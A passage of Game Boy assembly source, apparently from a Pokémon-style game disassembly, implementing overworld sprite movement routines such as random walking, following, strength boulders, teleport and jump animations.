dw .Null_00 ; 00
dw .RandomWalkY ; 01
dw .RandomWalkX ; 02
dw .RandomWalkXY ; 03
dw .RandomSpin1 ; 04
dw .RandomSpin2 ; 05
dw .Standing ; 06
dw .ObeyDPad ; 07
dw .Movement08 ; 08
dw .Movement09 ; 09
dw .Movement0a ; 0a
dw .Movement0b ; 0b
dw .Movement0c ; 0c
dw .Movement0d ; 0d
dw .Movement0e ; 0e
dw .Follow ; 0f
dw .Script ; 10
dw .Strength ; 11
dw .FollowNotExact ; 12
dw .MovementShadow ; 13
dw .MovementEmote ; 14
dw .MovementBigStanding ; 15
dw .MovementBouncing ; 16
dw .MovementScreenShake ; 17
dw .MovementSpinClockwise ; 18
dw .MovementSpinCounterclockwise ; 19
dw .MovementBoulderDust ; 1a
dw .MovementShakingGrass ; 1b
.Null_00:
ret
.RandomWalkY:
call Random
ldh a, [hRandomAdd]
and %00000001
jp .RandomWalkContinue
.RandomWalkX:
call Random
ldh a, [hRandomAdd]
and %00000001
or %00000010
jp .RandomWalkContinue
.RandomWalkXY:
call Random
ldh a, [hRandomAdd]
and %00000011
jp .RandomWalkContinue
.RandomSpin1:
call Random
ldh a, [hRandomAdd]
and %00001100
ld hl, OBJECT_FACING
add hl, bc
ld [hl], a
jp RandomStepDuration_Slow
.RandomSpin2:
ld hl, OBJECT_FACING
add hl, bc
ld a, [hl]
and %00001100
ld d, a
call Random
ldh a, [hRandomAdd]
and %00001100
cp d
jr nz, .keep
xor %00001100
.keep
ld [hl], a
jp RandomStepDuration_Fast
.Standing:
call Function462a
call EndSpriteMovement
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STAND
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_05
ret
.ObeyDPad:
ld hl, Function5000
jp HandleMovementData
.Movement08:
ld hl, Function5015
jp HandleMovementData
.Movement09:
ld hl, Function5026
jp HandleMovementData
.Movement0a:
jp _GetMovementObject
.Movement0b:
jp _GetMovementObject
.Movement0c:
jp _GetMovementObject
.Movement0d:
ld hl, Function5000
jp HandleMovementData
.Movement0e:
jp _GetMovementObject
.Follow:
ld hl, GetFollowerNextMovementByte
jp HandleMovementData
.Script:
ld hl, GetMovementByte
jp HandleMovementData
.Strength:
call MovementAnonymousJumptable
dw .Strength_Start
dw .Strength_Stop
.Strength_Start:
ld hl, OBJECT_NEXT_TILE
add hl, bc
ld a, [hl]
call CheckPitTile
jr z, .on_pit
ld hl, OBJECT_FLAGS2
add hl, bc
bit OBJ_FLAGS2_2, [hl]
res OBJ_FLAGS2_2, [hl]
jr z, .ok
ld hl, OBJECT_RANGE
add hl, bc
ld a, [hl]
and %00000011
or 0
call InitStep
call CanObjectMoveInDirection
jr c, .ok2
ld de, SFX_STRENGTH
call PlaySFX
call SpawnStrengthBoulderDust
call UpdateTallGrassFlags
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_0F
ret
.ok2
call Function462a
.ok
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ret
.on_pit
call IncrementObjectMovementByteIndex
.Strength_Stop:
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ret
.FollowNotExact:
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
ld hl, OBJECT_RANGE
add hl, bc
ld a, [hl]
push bc
call GetObjectStruct
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld a, [hl]
cp STANDING
jr z, .standing
ld hl, OBJECT_MAP_X
add hl, bc
ld a, [hl]
cp d
jr z, .equal
jr c, .less
ld a, 3
jr .done
.less
ld a, 2
jr .done
.equal
ld hl, OBJECT_MAP_Y
add hl, bc
ld a, [hl]
cp e
jr z, .standing
jr c, .less2
ld a, 0
jr .done
.less2
ld a, 1
.done
ld d, a
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld a, [hl]
and %00001100
or d
pop bc
jp NormalStep
.standing
pop bc
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STAND
ret
.MovementBigStanding:
call EndSpriteMovement
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_BIG_DOLL_SYM
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_04
ret
.MovementBouncing:
call EndSpriteMovement
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_BOUNCE
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_04
ret
.MovementSpinCounterclockwise:
call MovementAnonymousJumptable
dw .MovementSpinInit
dw .MovementSpinRepeat
dw .MovementSpinTurnLeft
.MovementSpinClockwise:
call MovementAnonymousJumptable
dw .MovementSpinInit
dw .MovementSpinRepeat
dw .MovementSpinTurnRight
.MovementSpinInit:
call EndSpriteMovement
call IncrementObjectMovementByteIndex
.MovementSpinRepeat:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STAND
ld hl, OBJECT_RANGE
add hl, bc
ld a, [hl]
ld a, $10
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_03
call IncrementObjectMovementByteIndex
ret
.MovementSpinTurnLeft:
ld de, .DirectionData_Counterclockwise
call .MovementSpinNextFacing
jr .MovementSpinCounterclockwise
.DirectionData_Counterclockwise:
db OW_RIGHT, OW_LEFT, OW_DOWN, OW_UP
.MovementSpinTurnRight:
ld de, .DirectionData_Clockwise
call .MovementSpinNextFacing
jr .MovementSpinClockwise
.DirectionData_Clockwise:
db OW_LEFT, OW_RIGHT, OW_UP, OW_DOWN
.MovementSpinNextFacing:
ld hl, OBJECT_FACING
add hl, bc
ld a, [hl]
and %00001100
rrca
rrca
push hl
ld l, a
ld h, 0
add hl, de
ld a, [hl]
pop hl
ld [hl], a
call DecrementObjectMovementByteIndex
ret
.MovementShadow:
call ._MovementShadow_Grass_Emote_BoulderDust
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SHADOW
ld hl, OBJECT_STEP_DURATION
add hl, de
ld a, [hl]
inc a
add a
add 0
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld hl, OBJECT_DIRECTION_WALKING
add hl, de
ld a, [hl]
maskbits NUM_DIRECTIONS
ld d, 1 * 8 + 6
cp DOWN
jr z, .ok_13
cp UP
jr z, .ok_13
ld d, 1 * 8 + 4
.ok_13
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], d
ld hl, OBJECT_SPRITE_X_OFFSET
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_TRACKING_OBJECT
ret
.MovementEmote:
call EndSpriteMovement
call ._MovementShadow_Grass_Emote_BoulderDust
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_EMOTE
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 0
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], -2 * 8
ld hl, OBJECT_SPRITE_X_OFFSET
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_TRACKING_OBJECT
ret
.MovementBoulderDust:
call EndSpriteMovement
call ._MovementShadow_Grass_Emote_BoulderDust
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_BOULDER_DUST
ld hl, OBJECT_STEP_DURATION
add hl, de
ld a, [hl]
inc a
add a
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld hl, OBJECT_DIRECTION_WALKING
add hl, de
ld a, [hl]
and %00000011
ld e, a
ld d, 0
ld hl, .data_4a81
add hl, de
add hl, de
ld d, [hl]
inc hl
ld e, [hl]
ld hl, OBJECT_SPRITE_X_OFFSET
add hl, bc
ld [hl], d
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], e
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_TRACKING_OBJECT
ret
.data_4a81
; x, y
db 0, -4
db 0, 8
db 6, 2
db -6, 2
.MovementShakingGrass:
call EndSpriteMovement
call ._MovementShadow_Grass_Emote_BoulderDust
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_GRASS_SHAKE
ld hl, OBJECT_STEP_DURATION
add hl, de
ld a, [hl]
add -1
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_TRACKING_OBJECT
ret
._MovementShadow_Grass_Emote_BoulderDust:
ld hl, OBJECT_RANGE
add hl, bc
ld a, [hl]
push bc
call GetObjectStruct
ld d, b
ld e, c
pop bc
ld hl, OBJECT_1D
add hl, bc
ld [hl], e
inc hl
ld [hl], d
ret
.MovementScreenShake:
call EndSpriteMovement
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_00
ld hl, OBJECT_RANGE
add hl, bc
ld a, [hl]
call ._MovementScreenShake
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], e
ld hl, OBJECT_1E
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_15
ret
._MovementScreenShake:
ld d, a
and %00111111
ld e, a
ld a, d
rlca
rlca
and %00000011
ld d, a
inc d
ld a, 1
.loop
dec d
ret z
add a
jr .loop
.RandomWalkContinue:
call InitStep
call CanObjectMoveInDirection ; check whether the object can move in that direction
jr c, .NewDuration
call UpdateTallGrassFlags
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STEP
ld hl, wCenteredObject
ldh a, [hMapObjectIndexBuffer]
cp [hl]
jr z, .load_6
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_07
ret
.load_6
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_PLAYER_WALK
ret
.NewDuration:
call EndSpriteMovement
call Function462a
RandomStepDuration_Slow:
call Random
ldh a, [hRandomAdd]
and %01111111
jr SetRandomStepDuration
RandomStepDuration_Fast:
call Random
ldh a, [hRandomAdd]
and %00011111
SetRandomStepDuration:
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], a
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STAND
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_03
ret
StepTypesJumptable:
; entries correspond to STEP_TYPE_* constants
dw ObjectMovementReset ; 00
dw MapObjectMovementPattern ; 01
dw NPCStep ; 02
dw StepType03 ; 03
dw StepType04 ; 04
dw StepType05 ; 05
dw PlayerStep ; 06
dw StepType07 ; 07
dw NPCJump ; 08
dw PlayerJump ; 09
dw PlayerOrNPCTurnStep ; 0a
dw StepTypeBump ; 0b
dw TeleportFrom ; 0c
dw TeleportTo ; 0d
dw Skyfall ; 0e
dw StepType0f ; 0f
dw GotBiteStep ; 10
dw RockSmashStep ; 11
dw ReturnDigStep ; 12
dw StepTypeTrackingObject ; 13
dw StepType14 ; 14
dw StepType15 ; 15
dw StepType16 ; 16
dw StepType17 ; 17
dw StepType18 ; 18
dw SkyfallTop ; 19
WaitStep_InPlace:
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
NPCJump:
call Field1cAnonymousJumptable
; anonymous dw
dw .Jump
dw .Land
.Jump:
call AddStepVector
call UpdateJumpPosition
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call CopyNextCoordsTileToStandingCoordsTile
call GetNextTile
ld hl, OBJECT_FLAGS2
add hl, bc
res OVERHEAD_F, [hl]
call IncrementObjectStructField1c
ret
.Land:
call AddStepVector
call UpdateJumpPosition
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
PlayerJump:
call Field1cAnonymousJumptable
; anonymous dw
dw .initjump
dw .stepjump
dw .initland
dw .stepland
.initjump
ld hl, wPlayerStepFlags
set PLAYERSTEP_START_F, [hl]
call IncrementObjectStructField1c
.stepjump
call UpdateJumpPosition
call UpdatePlayerStep
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_FLAGS2
add hl, bc
res OVERHEAD_F, [hl]
ld hl, wPlayerStepFlags
set PLAYERSTEP_STOP_F, [hl]
set PLAYERSTEP_MIDAIR_F, [hl]
call IncrementObjectStructField1c
ret
.initland
call GetNextTile
ld hl, wPlayerStepFlags
set PLAYERSTEP_START_F, [hl]
call IncrementObjectStructField1c
.stepland
call UpdateJumpPosition
call UpdatePlayerStep
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, wPlayerStepFlags
set PLAYERSTEP_STOP_F, [hl]
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
TeleportFrom:
call Field1cAnonymousJumptable
; anonymous dw
dw .InitSpin
dw .DoSpin
dw .InitSpinRise
dw .DoSpinRise
.InitSpin:
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
.DoSpin:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SPIN
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call IncrementObjectStructField1c
ret
.InitSpinRise:
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_1F
add hl, bc
ld [hl], $10
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
ld hl, OBJECT_FLAGS2
add hl, bc
res OVERHEAD_F, [hl]
call IncrementObjectStructField1c
.DoSpinRise:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SPIN
ld hl, OBJECT_1F
add hl, bc
inc [hl]
ld a, [hl]
ld d, $60
call Sine
ld a, h
sub $60
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
TeleportTo:
call Field1cAnonymousJumptable
; anonymous dw
dw .InitWait
dw .DoWait
dw .InitDescent
dw .DoDescent
dw .InitFinalSpin
dw .DoFinalSpin
dw .FinishStep
.InitWait:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_00
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
ret
.DoWait:
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call IncrementObjectStructField1c
.InitDescent:
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_1F
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
ret
.DoDescent:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SPIN
ld hl, OBJECT_1F
add hl, bc
inc [hl]
ld a, [hl]
ld d, $60
call Sine
ld a, h
sub $60
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call IncrementObjectStructField1c
.InitFinalSpin:
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
ret
.DoFinalSpin:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SPIN
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
.FinishStep:
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
Skyfall:
call Field1cAnonymousJumptable
; anonymous dw
dw .Init
dw .Step
dw .Fall
dw .Finish
.Init:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_00
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
.Step:
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_STEP
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_1F
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
.Fall:
ld hl, OBJECT_1F
add hl, bc
inc [hl]
ld a, [hl]
ld d, $60
call Sine
ld a, h
sub $60
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call IncrementObjectStructField1c
.Finish:
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
GotBiteStep:
call Field1cAnonymousJumptable
; anonymous dw
dw .Init
dw .Run
.Init:
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 8
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], 0
call IncrementObjectStructField1c
.Run:
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld a, [hl]
xor 1
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
RockSmashStep:
call .Step
jp WaitStep_InPlace
.Step:
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld a, [hl]
and %00000001
ld a, OBJECT_ACTION_STAND
jr z, .yes
ld a, OBJECT_ACTION_00
.yes
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], a
ret
ReturnDigStep:
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld a, [hl]
and %00000001
ld a, OBJECT_ACTION_SPIN
jr z, .yes
ld a, OBJECT_ACTION_SPIN_FLICKER
.yes
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], a
jp WaitStep_InPlace
StepType03:
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
StepType18:
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
jp DeleteMapObject
StepTypeBump:
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
StepType05:
call Field1cAnonymousJumptable
; anonymous dw
dw .Reset
dw StepType04
.Reset:
call RestoreDefaultMovement
call GetInitialFacing
ld hl, OBJECT_FACING
add hl, bc
ld [hl], a
call IncrementObjectStructField1c
StepType04:
call Stubbed_Function4fb2
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ret
NPCStep:
call Stubbed_Function4fb2
call AddStepVector
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
StepType07:
call AddStepVector
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call CopyNextCoordsTileToStandingCoordsTile
jp RandomStepDuration_Slow
PlayerStep:
; AnimateStep?
call Field1cAnonymousJumptable
; anonymous dw
dw .init
dw .step
.init
ld hl, wPlayerStepFlags
set PLAYERSTEP_START_F, [hl]
call IncrementObjectStructField1c
.step
call UpdatePlayerStep
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, wPlayerStepFlags
set PLAYERSTEP_STOP_F, [hl]
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
PlayerOrNPCTurnStep:
call Field1cAnonymousJumptable
; anonymous dw
dw .init1
dw .step1
dw .init2
dw .step2
.init1
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld a, [hl]
ld [hl], 2
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 2
call IncrementObjectStructField1c
.step1
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
call IncrementObjectStructField1c
.init2
ld hl, OBJECT_1D ; new facing
add hl, bc
ld a, [hl]
ld hl, OBJECT_FACING
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 2
call IncrementObjectStructField1c
.step2
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
StepType0f:
call AddStepVector
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
push bc
ld hl, OBJECT_NEXT_MAP_X
add hl, bc
ld d, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, bc
ld e, [hl]
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, bc
ld a, [hl]
ld b, a
farcall CopyDECoordsToMapObject
pop bc
ld hl, OBJECT_FLAGS2
add hl, bc
res OBJ_FLAGS2_2, [hl]
call CopyNextCoordsTileToStandingCoordsTile
ld hl, OBJECT_DIRECTION_WALKING
add hl, bc
ld [hl], STANDING
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
StepTypeTrackingObject:
ld hl, OBJECT_1D
add hl, bc
ld e, [hl]
inc hl
ld d, [hl]
ld hl, OBJECT_SPRITE
add hl, de
ld a, [hl]
and a
jr z, .nope
ld hl, OBJECT_SPRITE_X
add hl, de
ld a, [hl]
ld hl, OBJECT_SPRITE_X
add hl, bc
ld [hl], a
ld hl, OBJECT_SPRITE_Y
add hl, de
ld a, [hl]
ld hl, OBJECT_SPRITE_Y
add hl, bc
ld [hl], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld a, [hl]
and a
ret z
dec [hl]
ret nz
.nope
jp DeleteMapObject
StepType14:
StepType15:
call Field1cAnonymousJumptable
; anonymous dw
dw .Init
dw .Run
.Init:
xor a
ld hl, OBJECT_1D
add hl, bc
ld [hl], a
call IncrementObjectStructField1c
.Run:
ld hl, OBJECT_1D
add hl, bc
ld d, [hl]
ld a, [wPlayerStepVectorY]
sub d
ld [wPlayerStepVectorY], a
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
jr z, .ok
ld a, [hl]
call .GetSign
ld hl, OBJECT_1D
add hl, bc
ld [hl], a
ld d, a
ld a, [wPlayerStepVectorY]
add d
ld [wPlayerStepVectorY], a
ret
.ok
call DeleteMapObject
ret
.GetSign:
ld hl, OBJECT_1E
add hl, bc
and 1
ld a, [hl]
ret z
cpl
inc a
ret
StepType16:
call Field1cAnonymousJumptable ; ????
StepType17:
call Field1cAnonymousJumptable
; anonymous dw
dw .null
dw .null
dw .null
.null
SkyfallTop:
call Field1cAnonymousJumptable
; anonymous dw
dw .Init
dw .Run
.Init:
ld hl, OBJECT_ACTION
add hl, bc
ld [hl], OBJECT_ACTION_SKYFALL
ld hl, OBJECT_STEP_DURATION
add hl, bc
ld [hl], 16
call IncrementObjectStructField1c
.Run:
ld hl, OBJECT_STEP_DURATION
add hl, bc
dec [hl]
ret nz
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], $60
ld hl, OBJECT_STEP_FRAME
add hl, bc
ld [hl], 0
ld hl, OBJECT_STEP_TYPE
add hl, bc
ld [hl], STEP_TYPE_SLEEP
ret
Stubbed_Function4fb2:
ret
ld hl, OBJECT_1D
add hl, bc
inc [hl]
ld a, [hl]
srl a
srl a
and %00000111
ld l, a
ld h, 0
ld de, .y
add hl, de
ld a, [hl]
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], a
ret
.y
db 0, -1, -2, -3, -4, -3, -2, -1
UpdateJumpPosition:
call GetStepVector
ld a, h
ld hl, OBJECT_1F
add hl, bc
ld e, [hl]
add e
ld [hl], a
nop
srl e
ld d, 0
ld hl, .y
add hl, de
ld a, [hl]
ld hl, OBJECT_SPRITE_Y_OFFSET
add hl, bc
ld [hl], a
ret
.y
db -4, -6, -8, -10, -11, -12, -12, -12
db -11, -10, -9, -8, -6, -4, 0, 0
Function5000: ; unscripted?
; copy [wPlayerNextMovement] to [wPlayerMovement]
ld a, [wPlayerNextMovement]
ld hl, wPlayerMovement
ld [hl], a
; load [wPlayerNextMovement] with movement_step_sleep
ld a, movement_step_sleep
ld [wPlayerNextMovement], a
; recover the previous value of [wPlayerNextMovement]
ld a, [hl]
ret
GetMovementByte:
ld hl, wMovementDataBank
call _GetMovementByte
ret
Function5015:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
ld e, [hl]
inc [hl]
ld d, 0
ld hl, wc2e2
ld a, [hli]
ld h, [hl]
ld l, a
add hl, de
ld a, [hl]
ret
Function5026:
ld hl, OBJECT_MOVEMENT_BYTE_INDEX
add hl, bc
ld e, [hl]
inc [hl]
ld d, 0
ld hl, wc2e6
ld a, [hli]
ld h, [hl]
ld l, a
add hl, de
ld a, [hl]
ret
_GetMovementObject:
ld hl, GetMovementObject
jp HandleMovementData
GetMovementObject:
ld a, [wMovementObject]
ret
HandleMovementData:
call .StorePointer
.loop
xor a
ld [wMovementByteWasControlSwitch], a
call JumpMovementPointer
call DoMovementFunction
ld a, [wMovementByteWasControlSwitch]
and a
jr nz, .loop
ret
.StorePointer:
ld a, l
ld [wMovementPointer], a
ld a, h
ld [wMovementPointer + 1], a
ret
JumpMovementPointer:
ld hl, wMovementPointer
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
ContinueReadingMovement:
ld a, 1
ld [wMovementByteWasControlSwitch], a
ret
DoMovementFunction:
push af
call ApplyMovementToFollower
pop af
ld hl, MovementPointers
rst JumpTable
ret
INCLUDE "engine/overworld/movement.asm"
ApplyMovementToFollower:
ld e, a
ld a, [wObjectFollow_Follower]
cp -1
ret z
ld a, [wObjectFollow_Leader]
ld d, a
ldh a, [hMapObjectIndexBuffer]
cp d
ret nz
ld a, e
cp movement_step_sleep
ret z
cp movement_step_end
ret z
cp movement_step_4b
ret z
cp movement_step_bump
ret z
cp movement_slow_step
ret c
push af
ld hl, wFollowerMovementQueueLength
inc [hl]
ld e, [hl]
ld d, 0
ld hl, wFollowMovementQueue
add hl, de
pop af
ld [hl], a
ret
GetFollowerNextMovementByte:
ld hl, wFollowerMovementQueueLength
ld a, [hl]
and a
jr z, .done
cp -1
jr z, .done
dec [hl]
ld e, a
ld d, 0
ld hl, wFollowMovementQueue
add hl, de
inc e
ld a, -1
.loop
ld d, [hl]
ld [hld], a
ld a, d
dec e
jr nz, .loop
ret
.done
call .CancelFollowIfLeaderMissing
ret c
ld a, movement_step_sleep
ret
.CancelFollowIfLeaderMissing:
ld a, [wObjectFollow_Leader]
cp -1
jr z, .nope
push bc
call GetObjectStruct
ld hl, OBJECT_SPRITE
add hl, bc
ld a, [hl]
pop bc
and a
jr z, .nope
and a
ret
.nope
ld a, -1
ld [wObjectFollow_Follower], a
ld a, movement_step_end
scf
ret
SpawnShadow:
push bc
ld de, .ShadowObject
call CopyTempObjectData
call InitTempObject
pop bc
ret
.ShadowObject:
; vtile, palette, movement
db $00, PAL_OW_SILVER, SPRITEMOVEDATA_SHADOW
SpawnStrengthBoulderDust:
push bc
ld de, .BoulderDustObject
call CopyTempObjectData
call InitTempObject
pop bc
ret
.BoulderDustObject:
db $00, PAL_OW_SILVER, SPRITEMOVEDATA_BOULDERDUST
SpawnEmote:
push bc
ld de, .EmoteObject
call CopyTempObjectData
call InitTempObject
pop bc
ret
.EmoteObject:
